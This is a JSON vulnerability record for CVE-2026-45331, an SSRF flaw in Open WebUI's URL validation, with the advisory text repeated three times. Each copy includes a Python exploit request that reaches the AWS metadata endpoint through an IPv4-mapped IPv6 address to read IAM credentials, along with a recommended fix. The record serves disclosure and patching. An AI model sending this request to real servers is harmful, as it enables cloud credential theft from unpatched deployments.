{"id":"CVE-2026-45331","aliases":["EUVD-2026-30611","GHSA-4v7r-f4w8-8972","PYSEC-2026-2702"],"status":"published","title":"Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.","severity":{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00286,"percentile":0.21356,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-14T20:18:54Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.9.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.12"},{"fixed":"0.9.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.0"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.0"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/advisories/GHSA-c6xv-rcvw-v685","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45331","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4v7r-f4w8-8972","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45331.json","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://pypi.org/project/open-webui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45331","title":"Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.","status":"published","published":"2026-05-15T19:22:58.795Z","modified":"2026-05-15T22:21:52.962Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-30611","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.","status":"published","published":"2026-05-15T19:22:58Z","modified":"2026-05-15T22:21:52Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:04:28.290329Z"}],"ghsa":[{"id":"GHSA-4v7r-f4w8-8972","title":"Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature","description":"# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={'reason': \"ipv6() got an unexpected keyword argument 'private'\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them.","status":"published","published":"2026-05-14T20:18:54Z","modified":"2026-05-15T23:53:50Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:11.298154Z"}],"nvd":[{"id":"CVE-2026-45331","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.","status":"published","published":"2026-05-15T20:16:48.563Z","modified":"2026-06-17T10:51:55.717Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"CVE-2026-45331","title":"Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.","status":"published","published":"2026-05-15T19:22:58.795Z","modified":"2026-10-28T02:31:10.464409594Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-4v7r-f4w8-8972","title":"Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature","description":"# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={'reason': \"ipv6() got an unexpected keyword argument 'private'\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them.","status":"published","published":"2026-05-14T20:18:54Z","modified":"2026-07-13T16:42:30.339432136Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:37.528068Z"},{"id":"PYSEC-2026-2702","title":"Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature","description":"# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={'reason': \"ipv6() got an unexpected keyword argument 'private'\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them.","status":"published","published":"2026-07-13T15:19:06.374482Z","modified":"2026-07-13T16:32:23.903721868Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}